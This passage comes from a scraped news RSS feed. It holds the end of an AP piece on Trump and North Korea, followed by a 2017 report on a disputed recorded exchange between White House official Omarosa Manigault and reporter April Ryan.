Narushige Michishita, an expert from Tokyo’s National Graduate Institute for Policy Studies, said Trump’s efforts to “sound scary” won’t work with Pyongyang and Beijing if he fails to back his words with action.

“The Trump administration’s credibility will be undermined if it fails,” he said.

___

Associated Press writer Ken Moritsugu in Tokyo contributed to this report.


Feedburner

]]>
https://briefnews.eu/rex-tillersons-terse-statement-on-north-koreas-latest-missile-launch-may-be-a-turning-point/feed/ 0
White House staffer allegedly recorded ‘terse words’ with a reporter without her knowledge https://briefnews.eu/white-house-staffer-allegedly-recorded-terse-words-with-a-reporter-without-her-knowledge/ https://briefnews.eu/white-house-staffer-allegedly-recorded-terse-words-with-a-reporter-without-her-knowledge/#respond Wed, 15 Feb 2017 05:59:25 +0000 http://briefnews.eu/white-house-staffer-allegedly-recorded-terse-words-with-a-reporter-without-her-knowledge/ Trump OmarosaEvan Vucci/AP

An alleged heated exchange between Trump communications official Omarosa Manigault and a reporter was reportedly captured in a recording, The Washington Post reported Tuesday night.

April Ryan, a reporter with American Urban Radio Networks, allegedly got into an argument with Manigault near the Oval Office last week, according to the newspaper.

During the exchange, Ryan said that she felt “physically intimidated” by Manigault, and alleged that Manigault said Ryan was included in supposed “dossiers” of negative information being maintained on several journalists.

“She stood right in my face like she was going to hit me,” Ryan said in The Post.

In a follow-up report from the newspaper, Manigault denied that she had threatened Ryan and said that “dossiers” were never mentioned in the recorded exchange. She also alleges that Ryan had hurled insults at her.

Manigault told The Post: “She came in [to the White House press-staff area] hot. She came in with an attitude. For her to characterize me as the bully — I’m so glad we have this tape … because it’s ‘liar, liar, pants on fire’.”

“I didn’t know she was taping it,” Ryan said. “This is about her trying to smear my name. This is freaking Nixonian.”

Parts of the discussion were shared with other journalists, according to Manigault and Fox News reporter John Roberts. In an email to The Post, Roberts supported some of the claims of the “terse words and accusations” between the two. However, he did note that sections of the recording “were difficult to hear clearly and understand fully — and while the recording may not have captured the entire conversation — nowhere did I hear the word ‘dossier’ spoken.”

Ryan insists that Manigault had edited the recording and wants to “spin it like it’s a catfight.”

“You don’t hear her screaming. This is about her smearing me,” she said.

Manigault defended the recording, saying that the White House press staff regularly records interviews with reporters and officials. “We do it all the time,” she said. “When you come into [the press staff’s offices], you’re on the record.”

Although several veteran White House reporters agreed that officials sometimes recorded interviews, they said that it was usually done with their knowledge.

NOW WATCH: Merriam-Webster can’t stop trolling the Trump administration on Twitter


Feedburner

]]>
https://briefnews.eu/white-house-staffer-allegedly-recorded-terse-words-with-a-reporter-without-her-knowledge/feed/ 0